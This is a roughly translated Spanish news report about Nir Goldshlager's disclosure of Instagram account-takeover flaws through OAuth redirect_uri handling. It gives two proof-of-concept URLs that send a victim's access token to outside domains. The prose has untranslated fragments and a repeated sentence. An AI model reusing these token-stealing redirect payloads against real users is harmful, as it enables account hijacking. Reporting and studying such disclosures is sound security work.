Explicacion del Hackeo de Cuentas Instagram utilizando vulnerabilidad OAuth

Hackeo de Cuentas Instagram  utilizando vulnerabilidad
OAuth
Fuente: Read more at: http://thehackernews.com/2013/05/hacking-instagram-accounts-using-oauth.html
Copyright © The Hacker News
traduccion Soymaquero.net


Nir Goldshlager 'conocido como el hacker de
Facebook  y fundador de Break Security, que en estos últimos meses
 informó de muchos fallos críticos en Facebook por el sistema de  mecanismo OAuth , dan a conocer hoy una vulnerabilidad crítica en Instagram, a traves de Oauth que permiten a un atacante hackear cualquier cuenta.
Hackear Succesful permite al atacante acceder a fotos privadas,le da la capacidad de eliminar las fotos de la víctima y de editar los comentarios y también la posibilidad de publicar nuevas fotos.
este explicó que hay dos formas de hackear cuentas de Instagram utilizando OAuth, primero a través de secuestrar cuentas de Instagram utilizando el Instagram OAuth o secuestrar cuentas de Instagram utilizando el Facebook OAuth diálogo. Durante su caza de bugs  Nir encontrado Multiples lagunas en los parámetros de seguridad de Instagram
P.E, redirect_uri, thatallows attackerto pasar el testigo de acceso a su propio dominio con sufijo mx como por ejemplo el código directamente a breaksec.com.mx.

POC : https://instagram.com/oauth/authorize/?client_id=33221863eec546659f2564dd71a8a38d&redirect_uri=https: //breaksec.com.mx&response_type=token

En segundo método, se Hackeanlas cuentas de Instagram con el Facebook OAuth diálogo. "Cuando un usuario quiere subir sus fotos Instagram a Facebook, permiten esta interacción e integración se lleven a cabo. Descubrí que un atacante puede utilizar prácticamente en cualquier dominio del redirect_uri, con el siguiente parámetro ." Aquí el atacante puede utilizar cualquier dominio redirect_uri, siguiente parámetro a través del redirect_uri en Instagram client_id robar el señal_acceso de la cuenta de la víctima.
Aquí atacante puede utilizar cualquier dominio redirect_uri, siguiente parámetro a través del redirect_uri en Instagram client_id se puede robar la señal_acceso de la cuenta de la víctima.
POC: https://www.facebook.com/connect/uiserver.php?app_id=124024574287414&next=http: //files.nirgoldshlager.com&display=page&fbconnect=1&method=permissions.request&response_type=token